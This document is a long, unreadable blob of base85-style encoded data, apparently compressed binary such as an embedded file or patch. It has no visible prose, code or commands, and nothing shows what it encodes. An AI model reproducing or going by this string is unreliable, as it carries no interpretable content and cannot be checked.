z*otAPUbc4)GoXkT#6E<|_V)esuAF7&Oo1qIM|DIj23lL%-n`OtZJjy|^^csz)QQJq zaq0aBYHt%DoGlA8#fnXMx1D}I8Vhd#u;AS}4V8v;Ap6neZX6=Kc-sEw4^rpMXql#F zSRoO@i^)>FF?DHW4)u|eMJ7@!%s6T;7Mtqu5z0=(;J|7rUw)YIw}FYK%3xg`)-3Ia z=n&BQ1vtX29wd`~QF9%PU#OC8-Q$QeV}yGP+QiwOs9N*rJmjBKB4Gj+qh@4N=b=9O zMdm_n?0!MhaY&D?Ci5WEgsv&RRU#hO-b5I4{mcD4ojV?{x9`9xFmw_jIdkrBnu?jz zz7bR@)1I6jbA=5$ts39n%rR`NaqXd(A;?ruEj$N~f)En-PoA{SD|CKI5c zqVY$A*$DtY4mk1&l(LVsDf-L^&?wK^*}K^u-&SpzThelpnj=R)_UivROq4mB7=!Bz z@x5_e@N;S;eUmek11&Z z)Rurom|N53>gf^x9X8x3_L2MZ0yf!Nrg$X}#ep|?k5;9Tk$fFj4}ibtlt)f>@RAyv zab*D%1QstW%GjN7H^!(hA^=|BXx$+t+A|}A@3_#LAfZAl78}9T^Z4NZy6NlGL2!c> zj|h%5Fd@i**A~A@of_5t-cL~SWes$5hHXgh3_qHx@enu9TCGeA%wVPAS+yoST^&}}xjg1WT`OBEMxO8EH8Im+OqhLN1 zj^b>N^)e6cL=kA~gdMZOl9PX;5|!*{hAY z;@Gkrr#1NQ|1|=Ez?l9ua&;G_D9r^kblEB;0Z&J-Pdx;r;X;_y)Yn+$iseaFa*lTi4!+cT8XG3e*@3nILHM5rEPg0Fj^`* zvE#*F-VqJ>XMd2?s&{}|!~r`Z&Hf`FoX+B*cqt_o?yY~pESGHG(@}g%6uSs0UlvGM zhod>Ka&x{vjmDV!tE0$vhJeZa2MJ*q&Q^^?YEd-p`0k}nQ(ZvG?sw1z#6I$TjNtsL z{IVaop?I4&)`QB^!AO^Fy5ej~4hW8jnh;=-SIlVc-!%Q)^bSCqP3|rkrtAM(;j+3gnxCwmQ;KpmAj<_)uulS z>aN$;Oc ztMloa8wLPtzlP7N3YK(7VNxQW7OBy4TN^t?DtLF1TDA2BPPl^K$av~{IS0i)+iQ)d zVyr!(pWUoIT!qGq>XqAt4V~Lv#a}vj`$es;=_5=YXby*$K~uK%nh`yx^^_|MAFsbo z`^OFm;s}eS%BVL>;tCI?orku@YXKzhI@U;fkW;cBBQ3?m7;#uQxrQGPH@F1R0WX$g zfSWvSg4l3<76Q8m(&Ito*AZ#Nw%-Rw%fn&762;F+H7Wk9hJ=^JbAa7SwEuy5AJ5`y zVwF#3%vVqSuN` zDfF9*qZu&6ph-RW2J^h)tg_K(ms{D(Wp~1*x=tp1W{a1U2|R8Ie;|+4^4sAhVS^gW z=t!&@ky&BOFs2P{PBh*DQlYJ60uM{n7?$Fk$RL6XEO3t>W7SCotpn3;+`mRKJaS}c z1OJoxe`J!;rc32pyLc?=AO}353!(4P2?L>K(7R{rYj}2w(MCv0yZEm9zUC((7kxnl zNrnv)c$A+K`gdNIfn${uQ_m@%BSZYdgN`a8e(Pc`Z`G@GLJ?t+CLZyYL;V)df0 zxPGYr*7%RQb7yhmV?XZF$!{};*4Wxp68IE(%h|wEeBL8U#qmmD+RfeYz~Ek-Z!z9 zE!2fh4HF4!?uzvc`%3})+Sy>1ydYyU1mz6sI6u5p;g6_z#<9rXh>dA>B;Zd3D=C2E zB&od5!%rWU&3^n3RT}j1CBxC>P7$DFANRR)m5=WBUy!!S-+xaej^wm5OU;-n@4~7SmTKOFjomwm;6mgsh;V$=kz>dRI^J7bPNvT z`+UnTXT>iVoy%irB6;Q>g7;8F&$#w#)s3GQPkZJIOt)Z40;F|!7;KEEh|Bg$zK;Y* zt_OesHm^waUsKzVAU-^OzstRPL-Q}DLO+-Zpc-kwCd?@-`sH32X2B-_x%XDF*2Rcc z(?%gW$T9z_h0ou$1zz1((|)FG-1CNDU7g}976y%gbeV`pbK&+6#tRgC@z4IZat?4x z;(1bvF@pbMexzGN2`pkO!L|;LV=$@v*v-Im?tb4kIffwDPcL$c0?W%b_{LheNgDKh z{aww^6@tWzZLbtiE>r9Kb)rvS`3zZK)*C#W^SQ~Rnj=!=JPyM}W9kl)euxmOlo$Hsg%4lCfc#@Arp7~yLy(y`q z+E!_*PJY#3y__p`b%1KE|($I?;M=>elBu$J)unMlkg7$QXh=z#2LE=DUlAAKE;>vRe3&6 z{f8ad5jmf>Iis-~wGd22Z=@4A`k4tH;xywjmuE*W6IRq=_Xcj@;3ImVcCbvf!s+hc z5j=rgF`{enJHpA-q!eiaxkvih@W^`hPcJg2V!y5_8y%aD z^0ABR1BWwH7{$R0l}tgytX%B@c+Pl(1}@mooX1nTFnYT#I)I8dm4Z zpx|pNsI>tr=me1S=%uPd05_ape{pMlup+`%gzAS2(xukD;zY=qHwO3?eXvDLO?kb3 z`rmp2fNuDdVXj@A&w1w-_)@%|KMwkMB8odrA$J+=S_3TEZK(YH>qH}^>IS5+^QThq zx7RU4lZA4Tc0^tjE&Vh`WVa$+W}Y9oiW+KGf5|jDJu0jF*~vc;)s9y!TjuR#YbALy zo!CW~^0cil-He-^O>&CVsudw|qWq*1CHfbdIAh8ujr=kWR}wrPdk@I^N$?CvGu<8a z*UvZLoF|)1vsCUD#870|Z)&|Vj`Yq#8s@wRnH2%?*Vy6(Kv7`!Clirp7)@-Xw3}j@ zPM+2-G8Qj&+&QBaJ6IweoJVmHlU#deM8x=7(6jlh_q+W5!TxaN;o!v{Et`G$AI(T{ z>jo@2zpa;gDHUZ$dR%ib*Fdy$G8)VY3V+Q@M-pm;koH(|+QKwqB&y@(gR(FVnw@}u zFSH5(C8ITBVJWG=Us4>)ha|+BN(wc>>L>9hGKE|z?RFPS&TLX6Wyvd~2$y}pRMl@@ zgzdp2MHz{CcP8)J$oTx1$t0=*Z6mtF4eI`0MaacYOX`HXc-Q@Z;#l{cRZnB6HO5x8 zjmy`sT?0^8)7At9>B3HY(3g`&#B24IaXAAZV44oJ+o*N1(~}+T*B~44btm@KBhA33 z%M!r`SIa=-J@c)_p?dZ?HV;3}TDV0PkHKZ+0-UJ9roJJ&Ix>F4*y_u)A$&1lUHP4R zQr?FOGV=|<7Tfki8NgL5{X3$q0_o;%!FH58D0j~vFha1Wg{~wj=8R!`({_mX8H1LO zq}oNd?8mzUhJ@Y=-K0G)Ygg-pMb6MkDjHMn7O_p6Q20b2s%Hd)!#pn!x(2cPasdvW z4;^fWfTRR1jtsL*)Kz?6=o(aM_my zxSS_5R^T7nAnOzHBk={(*G!x{`sXP1WP;uli7Ym!<@e{Cl+^TQf%Ad!QC4q+RQ7a$ z!jv{Z+H_JRDwTeU#wxf-oAbRb_gLibCPa9#S+ITz-3+XK`*9FP zcTzjNo&lgD{YBYIV_}aeyr-oR+2P!79B;Tk?3-^Mj}EC_N3HL(xo6;B=WgC97HxYf z!LiYKl&gjW8@7q-YfD-Zn?j&jO}9BXtZ0tYkp4|O!7^GyaWo{dL1>`f5g%QLtP_s# zZP3&~10$cp!_>Z{oBV5QgjG#Lu4$SX74%HaxVxC>m^VQ4Hfq%7_5z5y3uV>B6+JS% z0K^S>tAaXyXeH`SuEW&dC=gj3+a37$`_7VbTbuMC< z(A{!twi}X00M+j_ypLA6ns4MA?mM>vwEwYqGCmW^#b$Y!?ni(B<~iO|o}K+DedV2s zSG{ctk}>g?z4qGlwunR}BCMliN?_=s??nhpjIOl0zw)NJp2j0ueO+@B?Ny4Zk-zQ9 zj`yTcoExC9?0(c!G~Es#gI;3Q6^g%Z_^Fl0`K)A?~2I9 zr^2LVps5Fu8$18DrN4ui#v`#(kJ8|1!|m2 z<2VuK6W&%x)qR-b{M^urq*uLx#t*rm$6TX_2-lm^AHB}0ih9>~q1kd>U?>_#Fvsk{933FEfYHphCH$}PS)i)GaYZ5SF!fOr0 z3b}o&cI|`yun^K~-rP;jtc465JV61F3cKEnVAeS=x>ZT z_GJqN>#Dn8skRa6mtiPwR#+-G6vH_-SxI_mG0sj)ztu^TvB((X4nVCVC13+ISUcW` zfj}8NS(}m(HOL|^w7-|?)pcWoUps3{gc&!viFI3A2l{Ir28Ju1BgC2@^6 zr%!UG$$mZA%9;Fbi#jPxY);1}b}>M)&!ol6q8*UBz-K)9s{Tysk1>R#snu=a1fOAR zMY<0tL+V%hn96~xU>8!#SF3lkWgxNbi#+m5)2~iLG9_A|in{6J!FwLpL2 zygC^7aZ7ub0os)YJ4RniUVWo%d~_XU$${gG(s+NXwgdK+hYC97E*dj#X>%|1eMb3N zn3|u{WY5eF&paMp6TJ-{Kry8}ukP|7JgS3AZ?@;_#=x-rj}(B=ZS$M)m@kjTEB-0X zows^Y3(U|_*npoZGJ4|+r_fhnw$lp<3`DS6S)intky~L(H>j9HYv;4#UtC>2yhP=m z2A=T-EnmsI^NEitZ%f8wMirSe%{;#NLFs1t_g?TFJG>djZu=nGY*($rQE3ke&B`dJ3Ty05!e{I5_nLRtc3N0z0bZeZDaE!&ph4m z{6;KNZUu?iY9bE%?>-)KaeT6#zdzD2tz`m*!x`ca@w4eHDI@yS5Ig~iLb=V?Fis5V(+{Xlj?s$l^)JSlW8J18L-Gw+2t z&tAt ztp7d0kydsV=a;j33C}GZdDh6o(f~8x_f#=z+fq_p>FLC{pbegP?1X}8gN*t%9d;Io z3eUlIRr%(BFBHG8 zGWYIh>DsUSFZF6A+yXFT8`mjBez|xmf`Ai0T>86c4+V^TUGW>)*8*-Kw`lD1AOT?J zEieFeD}WBHJ3AR&BifsKY8)#A`!jGOa!`=o!;3^os(SHg(pJykI$sx)tNQS>NH&~^Zopi5}LiDY`xS<9+oz?&lz=J z95Y)Gn6X2849UThw)M|+ZC`FMm~D&7u}|Adpln$EEZYU>85aHPV)3vDgfpz@uNjaF zg6JJJu3zzFC+^XWITl{iZT!5a3a=!)V2+KEkr#&y7)qG>BMC9y5D#%zb`B+XtweJa zLm_0CPFn+7ayXb7uhExxmy7c?Vd@RaOjO6O2@{$)kS+?~z8{&8kF)_aW6zzvW?Yyj z+A+n)y`?+q7gl)x(4WeA$)w;$1I*r`CV~ht*_gc zC`eNlg(3TG#bQx_6hDku_xhdWZ0N8nnBuoUy?PGqZ&P;u2qA;;CgX=-o(PqrP zr`aIM64D4o8t%qn0qa2-@N3Wss5_&`h+Q!S^QbgdZ*4=?39l^CXhyDsF7|hn-EXz^ zDedqqlOyi$V#|#Zclx@r?8Xub%ew{slYH%*{mB9NYT$eQ0n_e3O01M&IIF)rtS&bJ z5ZwY%uQ=NgzMhMELE2!CNYBa=CYG2VX-i3voCL9(#}Ff%#6Qq#LwTMhsU=G2d$?YR z-2%W&v$S0I&cemF2y!{0&S6TE;N)6Egs&~0*EX7Vm>6W0a|08pWzQlsDRD=N-puZ^z2`Z9z#oKD{)*>2vaN96*n<+sl%&<;0jc~Vd zm5=_JXIBKT6~L#AJ8}M*T+7!)OZoE#x2VjiQ?f3bt?ygLI3;O41&(7ExCt>^3r}c6 z3Br&eTqsn*5S1Q#c6@v4U^7~|Mn4noLoxwGc?ne)nXAkT-8}9G#X(V^xucA~hC4q| zQ&GiGk{^@$_v6|Kk8e~!G_c*jhJ;z7I3^$?Zh|LM3kM3M#~mC9w2}gdJNgEcQ#J|y zhNsU5#Scc*wDWyY`As^}H8o3sj}FUdf(FKt4<_w!5l~;0A|DWzQug@Vi_Z_hKED-&#uun8viY!))^2`h~uQ~GS*f*H?X6`j! z0#pBNkPz3g$i+r{MQOGvD$7P3?=H|KP#FA%z?;vy@#$SxWtLUe8PbJDO%Kf$v?Jo* zlsy8@M%?J8$_tQUMogi?1qBdU>pbj?pLH+azExY7lvkg3O;%CjUnFtU^Y&MYkeaL` z!v*s-O4&)l+fgls#*Y)=_KU!9X|{3OTJs17v-63~*}J#kqXSKP!kxEh_lttTgpHe4 zQ2+L;XP=Hq3gXiZ#;pP3u$Bk#-IC7*5(O4Izu7vB|16pcd(k7MDSF!3-m>dWBrA;U z7dw_^)w6Le7fuC`ck(fL_?wqZT0!Dl8C%6N$)GZ?wb{YCGD@ofe4oFy`?Yg2oGP!p zhxFC;>Zpi`e>V*!6@_?lgoIDIG%D&Ee^srB0vuRJAxg%c+| z{5$rVIf#y9^rvLnzaHY-e=I~EG!;i|D$y%u9d;{R4`hhPn8)VvL9xwtc6F+C^Vgr_ z^iA$sCK9~rq2Y4@$6F^f6s8lSe*aT9hfj0~Q2lqH+fkK`m(+d7mwltiJ4~{U>*|f_ zl2Y~TmRW9tK=COD5IlY^O-c6(ULq+cqpwg`@v>;Zn~dtcI}6*_7bA^LfF~0*<-xj?S4$R___=7bL5jZ_OYcbYOEQT%~$%J-0% zxlL?2Rq}~s1%zEDosO>@baaazVeZ9&1)A>KSgcH6S2BVnAUxp!}G}J5s#;v*Pz8dG! ztSrBM!ateEoi`8-!*Np8oCt=?s8#=uXyd1(yoI~rvSx>NK<0Vl$6G)4Iy5ck+XB*5 z8@0R$-Q0L(pP==%EK0Y<&_$kCB9y2}yf>)&hhyvX?urZJg}sBi{X4$Ys}68@tTrqsH8HL%3@TinTv zr;h$f32$q@YfseDzKKH;c~hfh#^Yh4<1`i|SR2VBbXQ`QF2->0Y~ZgNIbM1u9nUBc zdxo;gVX@x$inJ_#Hz^tt*_HU?r{+LV3iPQT)!`oBnx-@WXF8d+CqEgCL53k`CZnN( z=e*8S<4A7G(kzV=H+*e@O!)=Ta4S|^*swC|%Z|!#C&GU@BCX39OV%p6Ke9uX*!*|q zZ0$!Lu-^^IlE$jHc&v#otGK)17x3q^7_Xza!+hZcrvZc;<8u{vXB*cFxL8;REo=G1 zk#%ekH{{L&u~pQgX9AeD%m`#HVFD0`X@OjBE!Mic&d=NW^!c;Ixuu#~F z4|Ov`*aGtOJLT@16n5FvbkkDv4l_O#j2I|NT#FH}eFsP`N_mDvtBB%Wc&u|rjQM|w zy@*Ya>x&I$;g#_^`W5DZ{j{udsg9=cAJ#{S=6}jN=TO*&FDLA+C6ak8m^on84!qIr z`yO=pmqt4H=)O*W@%>aKk4c6G7qOTco|NPTBBfXOVN4XB4R>T}TKWW1Mr5oAhql4( z;#1p6`tU=0R9+U`Pn6P`_Q>L$yga-n&6r%Xi9jNtEI7 z!O~kv>X!(%6E{uiO&k|cg4v3b9a?9DU=A$GIXY-p{)}++Ki}+e`@NZGWkzz{X zrmaELV%6c#VFJ0qEvJ1t!I32kt|FV6Bqdc-I`A+HRn{uT#h(DUZyJja-5Z`&6GK<2dF?J{P4yfKIiyvnv8#OyVeJAFi zv3MQ)CpV0gWTSjXkGoOc4h}*jemYKdO2&@=X zLYWEpT7I=D@6%(tWmB%AKPX2!f;z@VF4N%Xa<`>5A`E*2Dbn?zt!fEn zExeA)Q{u&j;!PTpl5aagt~zgYp~e2eQg*qpXd>1Sf5yrT78dvB3LcMXZtIo zKYna*6GX)!2eKO5SV!MR#ztgB6CAcMs|;$~vKr;?c7^pDje!vmTHpRcbcYc4k3Sd% z(!DK3A=`K8&C;ehw@M&R9p}bq;GE&71(;@Lv`}m48Y?i8;0xe_`)^3&?K}ZTX_kDC z1G>J@#MDL@=|@y!g2sYn$1byeyIPnEQPJ%<3SEDN&;P&(M|Hg%5q3ZnzHev#5HLGL zcJz5YjU}*$H#)s=FjS4p^1qxK=W}Rh;G8s26lX|Zo~eP3WQLOvxZ&Riko^lsg))!X z_a73PEOz>qJ;?VK`>Y_x8T9(8!!E5u?RW)9^QEjxagnvdy=qBw!=!VdXlVqPoe;oL zEYb`-AHPcdHSn+xYneXXpCA!TgQb-c&X9n1%DdBsb8kw;S_srRf<9aThfw(#$uu%=&G#_kaTrILVbp`%)#7An{ z!=7EUzF#Y)^;Jvoh5D$jtp`%XZ%0tn>`Y=R)Bah=usN+7*TFM4z{lzRyG9nzkB-F> zKlaTdT6BK|2)_jKF!a*3Bn)f2qLhAd7?ccQ1ZNdXgVNY?7`bn`R00!z`}#T>Gsbz% z%G-4>b_Sf?7v z5%U?x@rZ}bviIFRMKYIHZCoF-3>OXhx$nH`@3h=Z%W(fOlqME8_ zMTDHFv1t)e%Utsg;4zqM#~JRnw&6d;n7q=X0Bo*-b?^R3Hlt^fN37wBSqEkE@DT?( z;_jn*ocux<-S+MR$+9CPW$H#v?fb@+-%3i-P174d9uz}yj{xTV*Vr&^xOk{x?Q)~3 z=AMObbqjy-_W?sl7)w`gla0uND?~GDQao?6`u~Q5Q*c^#8;FC?oxKi0g8oy;tuUAM zPg;h5{%6}Hqqg_G!?qt_Zi<~l4FbLB>m=Huc8W>*0#N}r#!h-?e5FT9lj|((3|ym^ zT@$FNlbTd83~leX!fb^;(hmgVUO9H^>`<5cH{~WbhZmbTJXWdU}PeUrqi1`Dem?u5cBN1zad|`7>OH_p)XpCMB7ts>y znBwmaL~4}(C0s+Cm+|$|+oDKJCQ-Eu)>SK1$L=e{g`P!ml?c!h*1SV|vL*+!%jV|N zBbzLa5;!%vpVAihx%D9hL@eU+kf&M-LJW(5U~NUl#Y4;#myEl9)_^YTPrt+aM76-8 zn6@&?NC|0@%Wg(%4UJfkdNljF^`x3R@#&hBdcPhC{L}6ZCmEHD_y+c`tHH8Jaz*4= zF=W;rII7H3DUds?H_wjRkyP%>%?2Zs;E1v2{U}iBe9WeMz|mX(b>H=nl#U91QaXPO zk=hsfvr9+<3z?wGs97B1`*WWNql4+2|Kl zyxEH%hj5UQ+FYvlY}4!4T-~Rd66La&9$X@vquarF2u?%AF;9%RkR#WEf;TcEzY*WF zI{y>#nl_O69Ye4h|Gh?5hlWIAqxl0Ccv>_3*pv}Fv&J;oH?F@`!pvO?v9%U7hybD_=Me(rr2c{r}fnv54)0) z!4Nb4dBB~^ZVHR!C0Jee_{CslyCzqqeU2P69KUCl*qgFbE1To$m?Ao)eF?rg9tVo{ zQx;Y9_eSWBywBB0wK!d0K?95An=ewv1Z(hY+s*d{OvW2IxsQR6pPjJbGo?M0mC_d( z5_&vX8(YXBEB7A~H=)e%P>42-%Sb@U>}0}9m+I(<7yap6KHkyEQc#h^5WXUoSX;R# z(&>BpJ)o8)cj=3PKpaNFs(8WzMnxD@<)ss$cAs0_?f>C)b|fU^bu za(bk%hYCv*1nO+$pLxhC(8TCq`Xh0Y)2caWH1#mv3!>W%1kkxI_E?#s2U2iO?>c`v zVQrdNIL+aRtnF?<)R0qA=>%}=BCKpYvsD`xw8uwVHIYpm$NWU1EfvBQyOCdZD`(U7 z-!bXL#2zW%|1K32&HuKIP=uVL=q7%?(EDYk)Y9y#k`B0wU{1r`@GV$z`0ceuHVo?BI7R zJrC@1*ZuS@)jDC9!YdgA$o-FON&b&l;l=_CN_`iNJ2L|<_6s{yk>POp3XA(6XFZ}* z6?hXkrZ)5VS(kdaP;m@_$(0JXEux{3`hWT3rSxNu$z)bIGZra1Yr{b6Cite50>EGn zB&Ic!Qdwq))@oS{Su@<9wc^oKMD}rjT^xJ~`O6YoSr$8jep3MP)w_u`vP9{=xFe3e zPf--c6BiLZ`~BV!;Rp>B&PRHbp9G@~)1;lxt;2(=*gMzf`?t=*HVKk6*LLBmNRoNl z<*Qn_({Q)gJg6T#v?h%Il*ru1PVG`nWMsgylo>@0>-gpY(=yMSqa^3v+OL|ANVak! zer(b6+`k{HDa%1K1DbYk-Z%>O3`LGVKg{eDX<^U_An04ltYz9TlrttEyJdTv20C31iZ;oN?gjgiy`M-%H>} zBecgoy%8h%h(=mIbjV!ELz9;OXd#Bnnhp$+Xind;8opjXWiBZ6$K?ZLwKB>_B#=H^ zl)ZCa5Eya%uY8JQEe(@{6z-_nE}G!qXqYD*NK}CAmJbj8zfdu!Vj(%vs_T>^8|&nQ z&xE;=7S)n?8|jdCS4);57SVGJQqEp22c@q@O4=}q-uIP!1rgDS3gcR+KNn@_tU%I~ zQ=O}Ct3IIdwqWUSrV|yT3<{RLa+3owskO4xg;x<#7t|w8h<}uK)M7*Yn^_e;87F3g z_Wzi|$*@Jb`hU|lvy4EFxfx;pY?7Xo#;LGa4ZD`xuR#c01ziiieBBl~*aYV>6lg^j2vwev2%$<$yV<}(p z@{W7@TI6$8bPJ4R6NpPy9AmdN;Maz1PD%r1Wfq_HnpCuhJrpsO(!h?tm~8J0!i5Q$ zo2Q8T-c5YsJnSnP&3~}JDj|~hc7s?|vK#hA{N{WBg8^-NNY!(j*gyUD$w&tfhK6B2 z8xJ7KUt_w~_j!CKw*6f$z$-i-r{qe5&R4&kGbzm+dE*DSc1R&_>845AH0;1!(uhk! zVyzNR`KrF%Va5;`l5wHIZ%o2P`$9LG(x1E#JzEQNH_G4zFYVzI=m}<5aIZ0l-IMjK zscK;n@0l`#$bb>&5&20o2iA0TJ%QmY2da<(XQIFRq(-4qn?yq0;%ZXrYrc0Bjr>3j zGX*(9z8$(Rl0c=yL-_J>q`E=QPDE@Bnpi~`$lox2t+B-4Vq^)i96rj2u78sS$Y z8_@v2y|0nT0maF5=Hl9}%(`#LeC!G2A^I6#stM>ne9F6Uzq5PtLL|tSSM9Pfy|dgJ zJxf-;CKSU>?P(pbVBnx!RMgt&?-f*DawV|43F}T1#Ww`>R*l3@<7NvD#F9JyN#68r z#lO&(&T@AmRUfE1)ad=WKL*sh;iDs1R^4s++^9?+JCi8HHH~#G3~h{k%go%L$eg0CgF<}>5~wjo-PL!yy}fV* z9dt2>$ zDx7z^k#%z#)4533e!9J4IHnk`R!N6`T0ERGoymGQPeRjFLW5@Spf+89V=Xdw>SZ6T z7@Ky$h2lN?>bWW(h77tOhWfnItgPMnC1sf8Z|cCIA1F1*f}hMUqBWXvRnvm>0W?ZE z6B%WIQD!6vBU-fY8kgu!F=!aXEkX@7Lw>c)zp-89gCq0j@}ZpS*vm}=%p6};mcM>W z9?2JZNH9%HZugatVw+ukr#8&x$nop+NO zp-K54pnB<;e6qn8kFA6wKnF8`TWV-m2Fkkx)U_X3tQGSo*S-qg-UJ2uu{w*1b{?F5-fmy^mEFC@(R0C2Eg;>iESJ z1Ucgg5=|Lv2^Yh$+#*>_#(1EOF{Bg3L*}6!$(u%WM=s%iWUrVnBBwn(Z01Dkjd87t zdvtS-JDLmKJHp`M$-lNPM|74udU|M_j(*%^F#ACxU&hDJ%)hf&e(R>?j`@FBm1F$S z2Z@l(02(`|?ME{egmGWWclWob9r;~8y|tn;osV3MO6pbg6{F4}`5VPUjui4iUZh?c zkT#622SKVU4;buYv$Tp&c=e7Yh-sFyvrjb6%^i$j2$Fic9(GkKX{t6VN3IV>CJB$s zaSL#1z`s9iHs9lit0&V;(Z5Dw;4D;p3h(k$@oHD%iv^1S>7m_P zJN=h^q|%mD-u(&?l@Wt*SmO8^)ff^V=|qfttcUlUVGT|4)z>m>#rK4e)cNjm-d!Y& ze>fuq4Iv5$7#kRa&os}LD#fE05A-hzZ!Ko+zu=#yEd7dhwX5E%3JTnH>-Q~kW1X3F zBm3yJ`Kay|Vyx9N&j?P>A@rd4?EEDL5@oZ?FJGmu4w^i?`2O$rTW#fwQp9GUjXW9z zWcM##eG7*gPXAFpaeY5_PgmVTRM}xD+Oos&oOW1l^Ext`Y}F8z35VTTxh4oGWdo2K>r)XN zG#*d?|4?-l6Iy;+>~QIHPloX^74}$a`@j88yb{&HJ5iVfCC4xG9mNe3M^}HiKAEf` zGV57y(ejSEg5Mlt!nqDZpa|;Sw#$c{$~}H}m~|YT=D{E`CqJS{KJB^o@uDWBHA_X6VZrbd>B+y27s?kujZZ2PKG6rA_}Dza`z{+NOm|0q&3ohF zPYFKOUuy;yxIp;;+X4Slk;;pU_@enCc3qId1ILX(DZjT|PLVvX@fN_tHpFXU0T1|U z<&PLkbFWLj>8dx{C(REK_m>EICVCQ0?;Jlt)FQIKSa90rE~|&P9nC|lc&5>`rx?w# z+5!Y?k5)PZV&ASE_lV#Lhff}qCiJ~45Cs-&rqKxFyoJAHO50b%%gn8~9w}rjD^UAF z1)b%cy#5Zw^uEPj947o?osJ?a7VA;T3HR&Uv#dI(g;F*i^rfJldf zzf(q&d6vs$he=jvv^7PNuBzW8lGVchvSIN;%eF*nY#hLB=+YHVu)G zN|uE*J`jE=NuLMJjbsNNn`XiP?kX#@vP85Ov_d)#r8*`y;pS$Y3dyHA?p~)1D3B^A zQYWfPUFda>OZoB4X-}4SXWwQFG{7LTeG(x-AzxgRhvzy8l)}Y>6eReGiv9ytSLoV( zwJ=%o{~*S#B2__)4a~ePL?qljle~#9RGt+WXTP*~Xl#f^1ItYcK{Rhq)DS6;5x#|! zv)S^^woslp4{CSUlG#`unLE)^oM#K@(_By}Yp@1!xT~IgdSyjwn8(A^kZxY=;A>l3;YS=6cvNoOkWhQ0nFG?iza}vxaymNSSOqDZ`?Bf|_=o)8L`Vlx0=rx< z246{kiDEp?X@Q3qNX1HIkqegWNUiOZlPC=y3xjc%YC+AO5AOe@b)pJ0`_fo!_ar?- zK($TgYwsN_CEs9A9+YVh=urmZK3&kQx1Imk6Lqr6j>biLsp`#H`-uE&f9aH zsC1^J9^k!fKeJC8#PD9L!mpIQo6g{q3(aKBWj`KrtL?HOHTbUm8aS(z?H+eR;8Vn0I!*umgZ~cZhNB zZoLfvM;g5jXedmRBAAYtydps3`eO|odnf+W9X+(T?nZVh;&bOqBrTWvHC z+T@cMpLt6W3#_SHESmcWq(>tLd*gIbP+`3p9~Lu5q)vyEY}c% zWs-@$*C;;=(mm43TeOu#Y+_eYkdz=q%CHbF%YC#ilKPbeR~P!ID5 z8g)^t5a5qrSw`~)30cI4Fh?3T{j`@y4@~O0>9L51my8g)x7O04S{2pd(}~ipk_{+} z?1PMs3uc8KR3WM~^sxFWo@Na70qIpJ%?l zKt+(Vt6z#|n9q8lh9>~8c-G?qwxo>{U+e(E(W1@CM}eIq0r&H-Dt#%sdqo0TH}J5v z-h`4`8W>1&D>_}ItahTdV6W8#2Us#d*YtuB(LI()M%4 z-l-LP^=Yb=88CtD0!w{*ZoL?vDND?aO9Jrd%+&%*c5NKZ{EkRTg$WDxzm)HWBng(j zaDq?|YZy;-4&U-mDQic#A=DlEVL7%o8(ZZokw(HhXPtU6d$%4lq{uW*8x`oK(&27C-H!DDQ`#roTu*P}u4k7=DhxwGd{%L%#lzF_`NoKV-h^PB0e1*HQ{H zKZc;PILD&%y{}>zTUWuAGiM*?JHh$6p|-JEGf*Li2-AM-uAPc+R|l+mn{(~LgB#%~M#RKs#n0bQs_r{lf_19I?^*gf z!c}%S`Tp3EIW{G@N4CO980_j+w<9|C5?Da$)%!lNqwrr!*YbMH7v&?mNepJ(KlXPajvkF!QyNQ2_AG zCkeTkvW^#;t_L&Sh=Ef+tCRS>TY-5%eP_yz)=o)AP+J&?KNY5bXmmk1-qR{re^&bD zv8OB(%H~lephx=Mor*|R+6knFe%X^}f!DBA(?vvUm0Azr*xi+m-}pukZHkuv#>gT3 z5_KE)2IvLl4hkH?tPs@RlIHa*>G-AQ$kaVD^gVac9=~ome&@l(B{#!L!GK%pOiC)F z>dh%~9rQE}(!?uuS1Tv=@uuKMqb4g$y#+-#&( z`XpJx!=UfL7t|TLfsPZgT%sVLTlL-^bE&b7%-0twme}hY@KG0N6uK{~ zjg~h++SS8fyWSP%5j_^!r`=z#xEi_ySc|RYCa}(DvRQ%>sYQtVMy18{iv@PbYBlC)MPv}9~kal|bATx8v+dRM`lXDDeSp1{}&G^r57CEY?+x0x!Z z2Upx0mRd@ZvYkCkG!Rx$Ws{cm10myjIoS}j>ESG-hVo|JZB)(eF1BK-a=(s)ays*$ zD=$7Y7yU+;{>lz9I_9$vB;LnmNE0%H?^TVw)@9|1raZVXHv3v{x_oq32Gwy>m*V$B>>TFgT_rt z%7N;R9KWpo@Zns{jnQlh##t3~4^LCJuC251^e$7ipPip{zZC#FIT@^1A;+RRBm-nZ z8mH`g{0Rz&>eioMf@ETQKvy0NC4gqY89|pVaw}_~T-)w0H zx}9?NcH|$`{xLpN_(&kCe73Wq+-!9`U1Q(h)V?f^mdORIxO&UI@^oK*^@z6D&a@t} zrqTow(#)~1X4&Fd5Y^Y-+Uz^{4A)M0h=TD$FtZio2NEi*^-VF;qhzy3T6@=v18HXkU)K1Y8P4}0eNU~s*HzsOsE!hR!DX2ZbCa(f7`8K)@*I2`12v@Mfyz5bvWoA4i?()YsTN=p% zbbjWOT8HHJ-0dvk#t97(q4OYaY@xp&@KbLzFJ{K6U2Eb zRNb??3?a-*IEI(G``KW6hVA@14>!+P#i#%Q&Z!$4cuM|A382uIs?7bzOyOu;yNu$n z+NHV{$_EXZp8o;oU^FSR_1lopc$XP}C3vzheZQQI}MAIhrc zCjkj*;fHTh{~$C|V+4zt16WIJuh+i%1LndnNoob>|6S>*aYOL895Vl% z%MOyzp-1?69xGOWC#L^xs-j`zCuA-BD(|c&U%_@> z4D2XYyDn&_CUbvftF-2pqDj=yGwI%AJ5(aE2K2YM9SkB5u|rZp^Ac1|~b09^42n z=-@GLv{A1caJC1cK3d}aj)IC^*{%F`Uq2B%l_+1g3fg?Y2@8$UIF`Js4H#ODJv)|{ zK(;m>?kn(oGlh9B)=>)S{+^{)#p%rZX8Ex?7xM5iLGufK92X^2!S*#XaDA`Ic=x}- zliJ}>?oitvNCt2A1?BSW;DC7!`$bE<`yP{R4ltvRpQ4xC$606|-$T^IL5i1=bwX?2 z_eM%?`EcH2uoXG#NbL(C#cO)oYlbY#Fzyec+~znI!Uv*uKN&vPBGy>(Vl}bKO)vLJc$gVElUE4wTcG3-;3VVGB{4)>amFYx{@N;OO=@E_IkQF?%O_=; z+HTaB8G@Xsr4^4XHf?JHF1>EbwuYPFjtw0B&pZpf^~@2mA>kVlV`A;}mbdJOoPz(d zb3^O=ft+ukl=&B^>9v<_VtvK+*PVU?h@Gz~L5VQ)o1{!r1XZitP9E~y!s!Mh)($W) 